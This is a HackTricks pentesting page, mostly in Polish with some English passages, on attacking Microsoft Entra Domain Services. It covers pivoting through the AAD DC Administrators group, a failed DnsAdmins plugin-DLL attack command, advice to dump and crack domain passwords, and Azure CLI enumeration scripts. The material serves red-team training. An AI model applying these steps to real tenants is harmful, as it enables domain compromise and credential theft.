Az - Microsoft Entra Domain Services

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Usługi domenowe

Microsoft Entra Domain Services pozwala na wdrożenie Active Directory w Azure bez konieczności zarządzania Domain Controllers (w rzeczywistości nie masz nawet do nich dostępu).

Głównym celem jest umożliwienie uruchamiania w chmurze aplikacji legacy, które nie mogą korzystać z nowoczesnych metod uwierzytelniania, lub w sytuacjach, gdy nie chcesz, żeby odpytywania katalogu zawsze wracały do on-premises środowiska AD DS.

Zauważ, że aby zsynchronizować użytkowników utworzonych w Entra ID (a nie zsynchronizowanych z innych Active Directory) z AD domain service musisz zmienić hasło użytkownika na nowe, aby mogło zostać zsynchronizowane z nowym AD. W praktyce użytkownik nie jest synchronizowany z Microsoft Entra ID do Domain Services, dopóki hasło nie zostanie zmienione.

Warning

Nawet jeśli tworzysz nową domenę Active Directory, nie będziesz w stanie nią w pełni zarządzać (chyba że poprzez wykorzystanie pewnych błędnych konfiguracji), co oznacza, że domyślnie np. nie możesz tworzyć użytkowników bezpośrednio w AD. Tworzysz je przez synchronizowanie użytkowników z Entra ID. Możesz wskazać synchronizację wszystkich użytkowników (nawet tych zsynchronizowanych z innych on-premise AD), tylko użytkowników cloud (użytkowników utworzonych w Entra ID), a nawet dokładniej je filtrować.

Note

Ogólnie, z powodu braku elastyczności w konfiguracji nowej domeny oraz faktu, że AD zwykle już istnieją on-premise, nie jest to główna integracja między Entra ID a AD, ale nadal warto wiedzieć, jak ją skompromitować.

Pivoting

Członkowie wygenerowanej grupy AAD DC Administrators otrzymują uprawnienia lokalnego administratora na VM-ach dołączonych do zarządzanej domeny (ale nie na Domain Controllers), ponieważ są dodawani do lokalnej grupy administrators. Członkowie tej grupy mogą również używać Remote Desktop to connect remotely to domain-joined VMs, oraz są także członkami grup:

  • Denied RODC Password Replication Group: To grupa określająca użytkowników i grupy, których hasła nie mogą być cachowane na RODC (Read-Only Domain Controllers).
  • Group Policy Creators Owners: Ta grupa pozwala członkom tworzyć Group Policies w domenie. Jednak jej członkowie nie mogą stosować polityk do użytkowników lub grup ani edytować istniejących GPO, więc nie jest to zbyt interesujące w tym środowisku.
  • DnsAdmins: Ta grupa pozwala zarządzać ustawieniami DNS i była w przeszłości wykorzystywana do escalate privileges and compromise the domain, jednak po przetestowaniu ataku w tym środowisku sprawdzono, że luka została załatana:
dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll

DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed:  ERROR_ACCESS_DENIED     5    0x5

Note that to grant these permissions, inside the AD, the group AAD DC Administrators group is made a member of the previous groups, and also the GPO AADDC Computers GPO is adding as Local Administrators all the members of the domain group AAD DC Administrators.

Pivoting from Entra ID to an AD created with Domain Services is straightforward, just add a user into the group AAD DC Administrators, access via RDP to any/all the machines in the domain and you will be able to steal data and also compromise the domain.

However, pivoting from the domain to Entra ID is not as easy as nothing from the domain is being synchronized into Entra ID. However, always check the metadata of all the VMs joined as their assigned managed identities might have interesting permissions. Also dump all the users passwords from the domain and try to crack them to then login into Entra ID / Azure.

Note

Note that in the past other vulnerabilities in this managed AD were found that allowed to compromise the DCs, like this one. An attacker compromising the DC could very easily maintain persistence without the Azure admins noticing or even being able to remove it.

Enumeracja

# Get configured domain services domains (you can add more subs to check in more subscriptions)
az rest --method post \
--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
--body '{
"subscriptions": [
"0ce1297c-9153-425d-3229-f51093614377"
],
"query": "resources | where type == \"microsoft.aad/domainservices\"",
"options": {
"$top": 16,
"$skip": 0,
"$skipToken": ""
}
}'

# Get domain configuration
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
## e.g.
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.hacktricks-training.com?api-version=2022-12-01&healthdata=true"

# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain

subscription_id="0ce1297c-9153-425d-3229-f51093614377"
vnet_name="aadds-vnet"

# Retrieve all VMs in the subscription
vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv)

# Iterate through each VM to check their VNet connection
echo "VMs connected to VNet '$vnet_name':"
while IFS=$'\t' read -r vm_name resource_group; do
nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv)

for nic_id in $nic_ids; do
subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv)

if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then
echo "VM Name: $vm_name, Resource Group: $resource_group"
fi
done
done <<< "$vm_list"

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks